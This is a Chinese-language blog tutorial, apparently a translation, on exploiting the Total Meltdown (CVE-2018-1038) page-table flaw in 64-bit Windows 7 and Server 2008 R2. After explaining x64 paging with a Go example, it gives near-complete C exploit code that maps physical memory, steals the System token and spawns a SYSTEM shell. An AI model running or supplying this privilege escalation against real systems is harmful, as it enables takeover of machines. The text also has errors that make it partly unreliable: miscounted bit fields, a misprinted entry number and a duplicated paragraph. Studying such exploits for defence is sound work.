溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點(diǎn)擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

Totel MeltdownCVE-2018-1038 漏洞利用是怎樣的

發(fā)布時(shí)間:2021-12-14 17:21:20 來源:億速云 閱讀:143 作者:柒染 欄目:安全技術(shù)

Totel MeltdownCVE-2018-1038 漏洞利用是怎樣的,相信很多沒有經(jīng)驗(yàn)的人對此束手無策,為此本文總結(jié)了問題出現(xiàn)的原因和解決方法,通過這篇文章希望你能解決這個(gè)問題。

主要是教大家學(xué)習(xí)這個(gè) exploit 的技巧而不是僅僅提供一個(gè)隨時(shí)可用的 exploit。所以,我們先看一下內(nèi)存分頁的一些基本概念。

分頁機(jī)制

為了理解 CVE-2018-1038 漏洞,我們首先需要對 x86/x64 架構(gòu)下的分頁機(jī)制有所了解。

我們都知道,在一個(gè) x64 架構(gòu)上的 OS 中,虛擬地址大概是如下這個(gè)樣子的:

0x7fffffd6001

接下來的事情就不是眾所周知的了:這個(gè)虛擬地址并不是一個(gè)指向某個(gè)實(shí)際物理地址的指針。它實(shí)際上由許多字段組成,這些字段聯(lián)合在一起被轉(zhuǎn)化為物理地址。

我們首先將上述虛擬地址轉(zhuǎn)為二進(jìn)制表示。

0000000000000000 000001111 111111111 111111111 111010110000000000001

從左到右的前 16 位并不存在任何實(shí)際意義,它們僅僅是虛擬地址第 48 位的簡單復(fù)制(譯者注: 由于目前還用不到完整的 64 位尋址空間,AMD64 架構(gòu)只支持 48 位的內(nèi)存地址,剩下 16 位只是這 48 位地址的符號擴(kuò)展)。

接下來從第 48 位開始看

1)前 9 位,000001111(十進(jìn)制 15),是 PML4 表中的一個(gè)偏離。

2)之后的 9 位,11111111(十進(jìn)制 511),是 PDPT 表中的一個(gè)偏移。

3)再之后的 9 位,11111111(十進(jìn)制 511),是 PD 表中的一個(gè)偏移。

4)再之后的 9 位,111010110(十進(jìn)制 470),是 PT 表的一個(gè)偏移。

5)最后的 12 位,0000000000000001(十進(jìn)制 1),是內(nèi)存頁面的一個(gè)偏移。

于是理所當(dāng)然的,下一個(gè)問題就是…PML4, PDPT, PD 和 PT 到底是什么?

PML4, PDPT, PD 和 PT

在 x64 架構(gòu)中,將一個(gè)虛擬地址轉(zhuǎn)化為物理地址,我們需要如下一系列的頁表。CR3 寄存器指向了最開始的 PML4 頁表。

1)PML4– Page Map Level 4

2)PDPT– Page Directory Pointer Table

3)PD– Page Directory

4)PT– Page Table

每一個(gè)頁表都負(fù)責(zé)提供我們尋址過程中需要的物理地址,以及這個(gè)物理地址的一些標(biāo)志位。

例如,一個(gè)頁表中的一個(gè)項(xiàng)目可能會(huì)負(fù)責(zé)提供我們一個(gè)指向下一級頁表的指針,同時(shí)也會(huì)負(fù)責(zé)設(shè)置頁面的 NX 位,或者保證指向的內(nèi)存頁面屬于 kernel,不能被操作系統(tǒng)中的進(jìn)程訪問。

將實(shí)際的概念簡化后,虛擬地址將如下通過四個(gè)頁表最終轉(zhuǎn)為物理地址。

Totel MeltdownCVE-2018-1038 漏洞利用是怎樣的

這樣我們可以看到,通過一個(gè)頁表項(xiàng)目及指向下一級頁表,進(jìn)程會(huì)遍歷上述四個(gè)頁表,最終最后一個(gè)頁表會(huì)指向虛擬地址對應(yīng)的物理內(nèi)存頁面,然后再加上最后的偏移量形成實(shí)際物理地址。

我們可以想象,對一個(gè)操作系統(tǒng)來說保存和管理上述頁表會(huì)需要一些開銷。因此 OS 開發(fā)者會(huì)使用一個(gè)叫做「自引用頁表」的技術(shù)來盡量避免上述繁雜的流程。

自引用頁表

簡單的說,「自引用頁表」就是在 PML4 頁表中的某一項(xiàng)中自我引用。例如,我們在 PML4 表的偏移為 0x100 位置中創(chuàng)建新的條目,其指向的內(nèi)存就是 PML4 所在的內(nèi)存地址,我們就有了一個(gè)「自引用條目」

為什么需要這么做呢?實(shí)際上,這樣就提供了我們一些虛擬地址,使得我們可以通過這些地址來查看和修改頁表。

例如,如果我們想修改 PML4,我們可以直接引用虛擬地址 0x804020100000。這個(gè)虛擬地址會(huì)如下地進(jìn)行轉(zhuǎn)換:

1)查找 PML4 的 0x100 條目:得到 PML4 的物理地址

2)查找 PDPT 的 0x100 條目:同樣的,還是得到 PML4 的物理地址

3)查找 PD 的 0x100 條目:同樣的,還是得到 PML4 的物理地址

4)查找 PT 的 0x100 條目:同樣的,還是得到 PML4 的物理地址

再加上最后 12 位的偏移量,我們最終得到的物理地址還是 PML4 的物理地址。

希望你們看到這的時(shí)候能夠?qū)ψ砸庙摫淼母拍钣兴私狻瓕τ谖襾碚f我花了好幾個(gè)晚上盯著屏幕才把這玩意搞明白 :D

我們用下面的代碼作為進(jìn)一步的例子。我們可以看到虛擬地址 0xffff804020100000 可以讓我們編輯 PML4。在這個(gè)例子中,PML4 的 0x100 個(gè)條目是自引用的。

package main
import (
    "fmt" 
)
func VAtoOffsets(va uint64) {
    phy_offset := va & 0xFFF
    pt_index := (va >> 12) & 0x1FF
    pde_index := (va >> (12 + 9)) & 0x1FF
    pdpt_index := (va >> (12 + 9 + 9)) & 0x1FF
    pml4_index := (va >> (12 + 9 + 9 + 9)) & 0x1FF
    fmt.Printf("PML4 Index: %03x\n", pml4_index)
    fmt.Printf("PDPT Index: %03x\n", pdpt_index)
    fmt.Printf("PDE Index: %03x\n", pde_index)
    fmt.Printf("PT Index: %03x\n", pt_index)
    fmt.Printf("Page offset: %03x\n", phy_offset)
}
func OffsetsToVA(phy_offset, pt_index, pde_index, pdpt_index, pml4_index uint64) {
    var va uint64
    va = pml4_index << (12 + 9 + 9 + 9)
    va = va | pdpt_index << (12 + 9 + 9)
    va = va | pde_index << (12 + 9)
    va = va | pt_index << 12
    va = va | phy_offset
    if ((va & 0x800000000000) == 0x800000000000) {
	    va |= 0xFFFF000000000000
    }
    fmt.Printf("Virtual Address: %x\n", va)
}
func main() {
    VAtoOffsets(0xffff804020100000)
    OffsetsToVA(0, 0x100, 0x100, 0x100, 0x100)
}

你們可以直接在這個(gè)頁面看到代碼的結(jié)果。

https://play.golang.org/p/tyQUoox47ri

現(xiàn)在,假如說我們想要修改虛擬地址的 PDPT 條目。利用自引用技術(shù)這個(gè)就很容易做到了。

例如,我們的目標(biāo)是 PML4 中 0x150 條目所指向的 PDPT 表,我們用虛擬地址 0xffff804020150000 就可以得到這個(gè) PDPT。一樣的,我們的 golang 小程序可以幫助闡述這個(gè)過程。

https://play.golang.org/p/f02hYYFgmWo

漏洞

好了,現(xiàn)在我們對分頁機(jī)制有所理解,我們就可以看看漏洞了。

如果我們在 Windows 7 x64 或者 Server2008 r2 x64 上安裝 2018-02 補(bǔ)丁,我們可以看到 PML4 表中的第 0x1ed 條目被更新了。

在我的測試環(huán)境中,該條目應(yīng)該和以下相似:

0x000000002d282867

我們應(yīng)注意帶這個(gè)條目的第 3 位。第 3 位,如果為 1 的話,將允許用戶態(tài)的進(jìn)程訪問該內(nèi)存頁面,而不是限制只能被 kernel 訪問… :0

更糟的是,PML4 的 0xled 條目在 Windows 7 x64 和 Windows Server 2008R2 x64 中被用來作為自引用條目。這意味著任何一個(gè)用戶態(tài)進(jìn)程都有能力去查看和改寫 PML4 表。

而且我們知道,通過修改這個(gè)頂級的頁表,我們有能力查看和修改系統(tǒng)中所有的物理內(nèi)存頁面…\_(?)_/

漏洞利用

那么,我們?nèi)绾卫眠@個(gè)漏洞呢?

我們可以通過以下幾步來利用這個(gè)漏洞來達(dá)到權(quán)限提升的目的。

1)創(chuàng)建一系列新的頁表,這些頁表能讓我們訪問任意物理內(nèi)存

2)搜集一些能幫助我們在內(nèi)核中查找_EPROCESS 結(jié)構(gòu)體的特征

3)找到自身進(jìn)程以及 System 進(jìn)程的_EPROCESS 結(jié)構(gòu)體

4)將 System 進(jìn)程的 Token 復(fù)制到自身進(jìn)程中,這樣就能將自身進(jìn)程提升到 NT_AUTHORITY 權(quán)限

在開始之前需要提到的是,如果我沒有看過 PCILeech』s 的代碼,我不可能寫出這篇博客。由于這是我第一次如此深度地去了解操作系統(tǒng)的分頁機(jī)制,devicetmd.c 中的漏洞利用代碼花了我好幾個(gè)不眠之夜去理解它。在這里我要感謝和贊許 Ulf Frisk 和 PCILeech。

如果要簡單地生成特征的話,我們可以利用_EPROCESS 中的 ImageFIleName 和 PriorityClass 字段。我們掃描整個(gè)內(nèi)存,若這兩個(gè)字段匹配上了我們就認(rèn)為尋找到了目標(biāo)。在我的測試環(huán)境中這種方法可以正常完成工作,當(dāng)然,如果你在實(shí)驗(yàn)中這兩個(gè)特征并不能完全定位到目標(biāo),你可以考慮自己重新定義搜索的粒度。與其簡單地重現(xiàn) Ulf 的分頁技術(shù),我們不如選擇利用 PCILeech 中的代碼來建立我們的頁表。為了使事情更容易被理解,我更新了其中一些 magic number 并添加了一些注釋來解釋到底發(fā)生了什么。

unsigned long long iPML4, vaPML4e, vaPDPT, iPDPT, vaPD, iPD;
DWORD done;
// setup: PDPT 劫持到固定的物理地址 0x10000
// 本代碼利用之前討論過的 PML4 自引用技術(shù), 遍歷 PML4 直到找到一個(gè)可以被劫持的空的條目
for (iPML4 = 256; iPML4 < 512; iPML4++) {
	vaPML4e = PML4_BASE + (iPML4 << 3);
	if (*(unsigned long long *)vaPML4e) { continue; }
	// 當(dāng)我們找到可劫持的條目后,我們將其指向下一級頁表的物理內(nèi)存地址,也就是 0x10000
	// flag "067"代表著對應(yīng)頁面可以被用戶態(tài)進(jìn)程訪問 e.
	*(unsigned long long *)vaPML4e = 0x10067;
	break;
}
printf("[*] PML4 Entry Added At Index: %d\n", iPML4);
// 在這里, 我們通過虛擬地址訪問 PDPT
// 例如,如果我們劫持的條目是 PML4 的第 256 條, PDPT 的虛擬地址就是 0xFFFFF6FB7DA00000 + 0x100000
// 這個(gè)虛擬地址讓我們可以訪問物理地址 0x10000, 其在各個(gè)頁表的偏移為
// PML4 Index: 1ed | PDPT Index : 1ed |	PDE Index : 1ed | PT Index : 100
vaPDPT = PDP_BASE + (iPML4 << (9 * 1 + 3));
printf("[*] PDPT Virtual Address: %p", vaPDPT);
// 2: 建立 31 個(gè) PD 表,其物理地址為 0x11000 - 0x1f000, 表中對應(yīng)的頁面大小為 2MB
// 以下代碼在 PDPT 中建立 31 個(gè)項(xiàng)目
for (iPDPT = 0; iPDPT < 31; iPDPT++) {
	*(unsigned long long *)(vaPDPT + (iPDPT << 3)) = 0x11067 + (iPDPT << 12);
}
// 對于每一個(gè) PD, 進(jìn)一步創(chuàng)建 512 個(gè) PT 項(xiàng)目
// 這樣我們將有 512*32*2mb = 33gb 的物理內(nèi)存空間
for (iPDPT = 0; iPDPT < 31; iPDPT++) {
	if ((iPDPT % 3) == 0)
		printf("\n[*] PD Virtual Addresses: ");
	vaPD = PD_BASE + (iPML4 << (9 * 2 + 3)) + (iPDPT << (9 * 1 + 3));
	printf("%p ", vaPD);
	for (iPD = 0; iPD < 512; iPD++) {
                // 注意到下面的代碼中給每一個(gè)項(xiàng)目添加了 0xe7 的 flag
		// 這個(gè)是用來創(chuàng)建 2mb 大小的頁面,而不是默認(rèn)的 4k 大小		
                *(unsigned long long *)(vaPD + (iPD << 3)) = ((iPDPT * 512 + iPD) << 21) | 0xe7;
	}
}
printf("\n[*] Page tables created, we now have access to ~33gb of physical memory\n");

現(xiàn)在,頁表設(shè)計(jì)完畢之后,我們需要在物理內(nèi)存中尋找_EPROCESS 結(jié)構(gòu)體。我們先看看_EPROCESS 結(jié)構(gòu)體是什么樣子。 

Totel MeltdownCVE-2018-1038 漏洞利用是怎樣的

如果要簡單地生成特征的話,我們可以利用_EPROCESS 中的 ImageFIleName 和 PriorityClass 字段。我們掃描整個(gè)內(nèi)存,若這兩個(gè)字段匹配上了我們就認(rèn)為尋找到了目標(biāo)。在我的測試環(huán)境中這種方法可以正常完成工作,當(dāng)然,如果你在實(shí)驗(yàn)中這兩個(gè)特征并不能完全定位到目標(biāo),你可以考慮自己重新定義搜索的粒度。

#define EPROCESS_IMAGENAME_OFFSET 0x2e0
#define EPROCESS_TOKEN_OFFSET 0x208
#define EPROCESS_PRIORITY_OFFSET 0xF  // This is the offset from IMAGENAME, not from base
unsigned long long ourEPROCESS = 0, systemEPROCESS = 0;
unsigned long long exploitVM = 0xffff000000000000 + (iPML4 << (9 * 4 + 3));
STARTUPINFOA si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
printf("[*] Hunting for _EPROCESS structures in memory\n");
for (int i = 0x100000; i < 31 * 512 * 2097152; i++) {
	__try {
		// Locate EPROCESS via the IMAGE_FILE_NAME field, and PRIORITY_CLASS field
		if (ourEPROCESS == 0 && memcmp("TotalMeltdownP", (unsigned char *)(exploitVM + i), 14) == 0) {
			if (*(unsigned char *)(exploitVM + i + EPROCESS_PRIORITY_OFFSET) == 0x2) {
				ourEPROCESS = exploitVM + i - EPROCESS_IMAGENAME_OFFSET;
				printf("[*] Found our _EPROCESS at %p\n", ourEPROCESS);
			}
		}
		// Locate EPROCESS via the IMAGE_FILE_NAME field, and PRIORITY_CLASS field
		else if (systemEPROCESS == 0 && memcmp("System\0\0\0\0\0\0\0\0\0", (unsigned char *)(exploitVM + i), 14) == 0) {
			if (*(unsigned char *)(exploitVM + i + EPROCESS_PRIORITY_OFFSET) == 0x2) {
				systemEPROCESS = exploitVM + i - EPROCESS_IMAGENAME_OFFSET;
				printf("[*] Found System _EPROCESS at %p\n", systemEPROCESS);
			}
		}
		if (systemEPROCESS != 0 && ourEPROCESS != 0) {
			...
			break;
		}
	}
	__except (EXCEPTION_EXECUTE_HANDLER) {
		printf("[X] Exception occured, stopping to avoid BSOD\n");
	}
}

最后,如同絕大多數(shù)內(nèi)核權(quán)限提升漏洞的利用一樣,我們將自身進(jìn)程的_EPROCESS.Token 字段復(fù)制為 System 進(jìn)程的 Token。

if (systemEPROCESS != 0 && ourEPROCESS != 0) {
    // Swap the tokens by copying the pointer to System Token field over our process token
    printf("[*] Copying access token from %p to %p\n", systemEPROCESS + EPROCESS_TOKEN_OFFSET, ourEPROCESS + EPROCESS_TOKEN_OFFSET);
    *(unsigned long long *)((char *)ourEPROCESS + EPROCESS_TOKEN_OFFSET) = *(unsigned long long *)((char *)systemEPROCESS + EPROCESS_TOKEN_OFFSET);
    printf("[*] Done, spawning SYSTEM shell...\n\n");
    CreateProcessA(0,
                   "cmd.exe",
                   NULL,
                   NULL,
                   TRUE,
                   0,
                   NULL,
                   NULL,
                   &si,
                   &pi);
        
    break;
}

于是我們就能進(jìn)行權(quán)限的提升了。

修復(fù),以及改進(jìn)

微軟發(fā)布了 CVE-2018-1038 的補(bǔ)丁來修復(fù)這個(gè)漏洞。

為了減少藍(lán)屏死機(jī)的可能性,我在 POC 中增加了額外的內(nèi)存檢查。POC 的第二版可以在這里找到。

看完上述內(nèi)容,你們掌握Totel MeltdownCVE-2018-1038 漏洞利用是怎樣的的方法了嗎?如果還想學(xué)到更多技能或想了解更多相關(guān)內(nèi)容,歡迎關(guān)注億速云行業(yè)資訊頻道,感謝各位的閱讀!

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI